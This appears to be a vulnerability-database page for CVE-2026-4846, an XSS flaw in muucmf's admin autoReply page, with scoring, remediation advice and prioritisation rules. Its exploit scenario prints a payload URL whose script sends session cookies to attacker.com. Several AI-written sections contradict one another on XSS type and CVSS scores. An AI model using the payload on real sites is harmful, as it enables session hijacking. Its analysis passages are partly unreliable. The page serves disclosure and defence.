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Muucmf EUVDEUVD-2026-16120

| CVE-2026-4846 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-26 VulDB
2.1
CVSS 4.0 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While the CVSS 3.1 base score of 4.3 (Low-to-Medium) reflects limited scope and impact (integrity only, no confidentiality or availability damage from XSS alone), the real-world risk is elevated by several factors. The attack vector is Network and Complexity is Low (AV:N/AC:L), meaning any internet-connected user can attempt the exploit. The Exploit Code Maturity is marked as Proof-of-Concept (E:P), and the public disclosure of the POC on GitHub (https://thinhneee.github.io/posts/muucmf-xss-channel/) dramatically increases exploitation likelihood. However, the User Interaction requirement (UI:R) mandates that a victim administrator must click a malicious link, reducing opportunistic attack surface. The lack of vendor response (RL:X) and absence of a patch means no remediation path exists beyond defense-in-depth mitigations. The Reliability Code is Reasonable (RC:R), indicating this is a confirmed, stable vulnerability. This is a moderate-priority issue: not critical due to low CVSS impact and UI requirement, but exploitable enough to warrant immediate network segmentation and input validation hardening given the available POC.

Exploit ScenarioDerived

An attacker crafts a malicious URL such as 'https://target.muucmf.local/channel/admin.Account/autoReply.html?keyword=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>' and sends it via spear-phishing email to a known administrator. When the administrator clicks the link and views the autoReply.html page, the unvalidated 'keyword' parameter is reflected into the HTML response, causing the injected JavaScript to execute in the administrator's browser context. The script exfiltrates session cookies to the attacker's server, allowing account takeover and further lateral movement within the application or network. Because this is a low-complexity remote attack requiring only a single click, the public POC evidence and lack of vendor response make exploitation a likely near-term concern.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 26, 2026

A stored cross-site scripting (XSS) vulnerability exists in dameng100 muucmf version 1.9.5.20260309 and potentially earlier versions, affecting the autoReply.html administrative interface in the channel/admin.Account module. An unauthenticated attacker can inject malicious JavaScript through the 'keyword' parameter, which is reflected in the response without proper sanitization, allowing session hijacking, credential theft, or malware distribution to administrative users. A public proof-of-concept exploit is available, and the vendor has not responded to disclosure notifications, indicating no official patch is currently available.

RemediationAI

Immediate action is necessary given the lack of vendor response. First, contact dameng100 directly through alternative channels (phone, partner support) to inquire about patch availability or a timeline for a security release. In the interim, implement network-level protections: restrict administrative access to the muucmf management console to trusted IP ranges using a firewall or reverse proxy, enforce HTTPS with HSTS and Certificate Pinning to prevent man-in-the-middle attacks that might deliver the XSS payload, and disable or rename the vulnerable autoReply.html endpoint if not actively used. Second, apply input validation at the application level by implementing strict whitelist-based filtering on the 'keyword' parameter (alphanumeric characters only, no special HTML/JavaScript characters) and output encoding (HTML entity encoding) for all reflections. Third, deploy a Web Application Firewall (WAF) rule to block requests containing common XSS payloads (script tags, event handlers). Finally, audit logs for exploitation attempts and monitor administrative accounts for unauthorized activity. If a patch is eventually released, prioritize immediate deployment.

Affected VersionsENISA

muucmf 1.9.5.20260309

Affected Packages

euvd muucmf no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a foundational web application flaw where user-supplied input is rendered into HTML/JavaScript context without adequate output encoding or input validation. The affected application is dameng100 muucmf (cpe:2.3:a:dameng100:muucmf:*:*:*:*:*:*:*:*), a web-based management framework. The vulnerable endpoint channel/admin.Account/autoReply.html processes the 'keyword' parameter in the context of administrative account reply configuration, likely storing or reflecting user input into dynamically generated HTML or JavaScript. Because the attack requires user interaction (UI:R in CVSS vector), the XSS is triggered when an administrator clicks a malicious link or visits a crafted page containing the payload, rather than being purely stored XSS that executes automatically.

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Severity by source

NVD PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.3 (MEDIUM) 2.1 (LOW)
PoC Detected
Mar 30, 2026 - 13:26 vuln.today
Public exploit code
CVE Published
Mar 26, 2026 - 05:31 nvd
MEDIUM 5.3

DescriptionCVE.org

A vulnerability has been found in dameng100 muucmf 1.9.5.20260309. The affected element is an unknown function of the file channel/admin.Account/autoReply.html. Such manipulation of the argument keyword leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Executive ViewAI

Why It Matters

Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4846, a cross-site scripting vulnerability rated CVSS 5.3. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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